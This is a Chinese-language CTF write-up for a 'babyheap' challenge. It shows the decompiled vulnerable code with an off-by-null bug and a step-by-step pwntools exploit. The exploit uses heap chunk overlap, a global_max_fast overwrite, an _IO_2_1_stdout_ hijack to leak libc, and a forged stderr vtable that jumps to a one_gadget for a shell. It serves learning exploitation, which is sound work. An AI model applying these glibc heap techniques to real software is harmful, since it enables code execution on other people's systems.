广外ctf的babyheap详解

前言

感觉这道题挺不错的,适合我这种pwn新手,学到了新姿势。漏洞点是off-by-null,没有show函数,需要要用到堆块合并,IO文件流劫持,global_max_fast等相关知识,调试程序令人崩溃~

程序分析

基本信息

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
***********************
1.Buy a basketball
2.Show the wondeful skill
3.Throw the basketball
4.Write your signature
5.Go home
***********************

show函数是个假的 。哭笑.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int buy()
{
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

printf("Which basketball do you want?");
v1 = get_num();
if ( v1 < 0 || v1 > 4 )
{
puts("Wrong index!");
}
else
{
printf("how big: ");
v2 = get_num();
if ( v2 <= 0x90 || v2 > 0x400 )
{
puts("Wrong size!");
}
else
{
addr_list[v1] = malloc(v2);
size_list[v1] = v2;
}
}
return puts("Done!\n");
}

chunk大小范围是0x90~0x400,只能malloc五个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall sub_E86(__int64 a1, int a2)
{
int i; // [rsp+18h] [rbp-28h]
char buf; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= a2; ++i )
{
read(0, &buf, 1uLL);
if ( buf == '\n' )
break;
*(a1 + i) = buf;
if ( i == a2 )
*(i + a1) = 0; //存在off-by-one
}
return i;
}

在edit的时候存在off-by-null

漏洞利用

1.首先得利用off-by-null实现堆块重叠

1
2
3
4
5
6
7
8
9
10
add(0,0xf8)
add(1,0xf8)
add(2,0xe8)
add(3,0xf8)
add(4,0xf8)
delete(0)
edit(2,'c'*0xe0+p64(0x2f0)+'a')
delete(3)
add(0,0x2f0-0x10)
edit(0,'\x11'*0xf0+p64(0)+p64(0x101)+'\x22'*0xf0+p64(0)+p64(0xf1)+'\n')

delete(3)后查看内存

1
2
3
4
0x563e21256000:	0x0000000000000000	0x00000000000003f1
0x563e21256010: 0x00007fea0a939b78 0x00007fea0a939b78
0x563e21256020: 0x0000000000000000 0x0000000000000000
0x563e21256030: 0x0000000000000000 0x0000000000000000

我们可以看到前四个chunk已经合并了,但是chunk2和3没有释放,然后把chunk复原

1
2
3
4
5
6
7
8
9
10
#.bss:00000000002030C0 addr_list
0x55755cf2b060: 0x00000000000002e0 0x00000000000000f8
0x55755cf2b070: 0x00000000000000e8 0x0000000000000000
0x55755cf2b080: 0x00000000000000f8 0x0000000000000000
0x55755cf2b090: 0x0000000000000000 0x0000000000000000
0x55755cf2b0a0: 0x0000000000000000 0x0000000000000000
0x55755cf2b0b0: 0x0000000000000000 0x0000000000000000
0x55755cf2b0c0: 0x000055755de85010 0x000055755de85110
0x55755cf2b0d0: 0x000055755de85210 0x0000000000000000
0x55755cf2b0e0: 0x000055755de85400 0x0000000000000000

此时chunk0和chunk2+chunk3出现了重叠

2.攻击global_max_fast产生fastbin的chunk

1
2
3
4
5
pwndbg> p &global_max_fast
$3 = (size_t *) 0x7faedde307f8 <global_max_fast>
pwndbg> x/10gx 0x7faedde307f8
0x7faedde307f8 <global_max_fast>: 0x0000000000000080 0x0000000000000000
0x7faedde30808 <root>: 0x0000000000000000 0x0000000000000000

程序开了pie,但内存0x1000是一页,所以后三位不变,第四位需要爆破
global_max_fast = 0x77f8

global_max_fast的阀值默认时0x80,改写global_max_fast为一个较大的值,然后释放一个较大的堆块时,由于fastbins数组空间是有限的,其相对偏移将会往后覆盖,如果释放堆块的size可控,就可实现往fastbins数组(main_arena)后的任意地址写入所堆块的地址。

1
2
3
edit(0,'\x11'*0xf0+p64(0)+p64(0x101)+p64(0)+p16(0x77f8 - 0x10)+'\n')
add(3,0xf8)
add(3,0xf8)

将chunk1的bk指针改为global_max_fast-0x10的地址
下面是第一次add chunk3后的unsorted bins

1
2
3
4
unsortedbin
all [corrupted]
FD: 0x55d8072ec100 —▸ 0x7f271fe75b78 (main_arena+88) ◂— 0x55d8072ec100
BK: 0x55d8072ec100 —▸ 0x7f271fe777e8 (free_list) ◂— 0x0

第二次add会在global_max_fast-0x10的位置申请空间,而且fd指针会指向main_arena+88
这里是用到了unsorted_bin的攻击

1
2
3
0x7fbd5c9677e8 <free_list>:	0x0000000000000000	0x0000000000000000
0x7fbd5c9677f8 <global_max_fast>: 0x00007fbd5c965b78 0x0000000000000000
0x7fbd5c967808 <root>: 0x0000000000000000 0x0000000000000000

具体global_max_fast的原理和其他利用看文末的参考链接吧

3.劫持结构体泄露libc

有关IO的劫持泄露libc可以参考这个:https://xz.aliyun.com/t/6473

要将chunk2的FD指针为stdout-0x51,成功实现劫持结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p _IO_2_1_stdout_
$4 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7f70a60906a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f70a608f8e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7f70a6091780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f70a608f7a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f70a608e6e0 <_IO_file_jumps>
}

目的是修改_flags为0xfbad1800,_IO_write_base的最后一位为0然后泄露出libc

_IO_write_base为想要泄露的起始地址,_IO_write_ptr为想要泄露的结束地址即可,这样就可以达到任意读。

1
2
3
4
5
6
7
8
9
10
stdout = 0x77f8 - 0x1229
edit(0,'\x11'*0xf0+p64(0)+p64(0x101)+'\x22'*0xf0+p64(0)+p64(0xf1)+'\n')
delete(2)
edit(0,'\x11'*0xf0+p64(0)+p64(0x101)+'\x22'*0xf0+p64(0)+p64(0xf1)+p16(stdout)+'\n')
add(3,0xe8)
add(4,0xe8)
edit(4,'a'*0x41+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n')
p.recv(0x40)
libc_base = u64(p.recv(8))- 0x3c5600
log.success('libc_base: '+libc_base)

4.伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget

5.malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。

1
2
3
4
onegadget = libc_base + 0xf1147
edit(4,'\x00'+p64(libc_base+0x3c55e0)+p64(0)*3+p64(0x1)+p64(onegadget)*2+p64(libc_base+0x3c5600-8) + '\n')
#trigger abort-->flush
add(1,1000)

原理:

当调用_IO_flush_all_lockp时,_IO_list_all的头节点并不会使得我们可以控制执行流,但是当通过fp = fp->_chain链表,对第二个节点进行刷新缓冲区的时候,第二个节点的数据就是完全可控的。我们就可以伪造该结构体,构造好数据以及vtable,在调用vtable中的_IO_OVERFLOW函数时实现对执行流的劫持。

修改之后的IO_2_1_stderr

1
2
3
4
0x7f2ebb9f65e0 <_IO_2_1_stderr_+160>:	0x00007f2ebb9f65e0	0x0000000000000000
0x7f2ebb9f65f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7f2ebb9f6600 <_IO_2_1_stderr_+192>: 0x0000000000000001 0x00007f2ebb722147
0x7f2ebb9f6610 <_IO_2_1_stderr_+208>: 0x00007f2ebb722147 0x00007f2ebb9f65f8

参考链接:

IO FILE 之劫持vtable及FSOP

_IO_FILE部分源码分析及利用

堆中global_max_fast相关利用
house of orange in glibc 2.24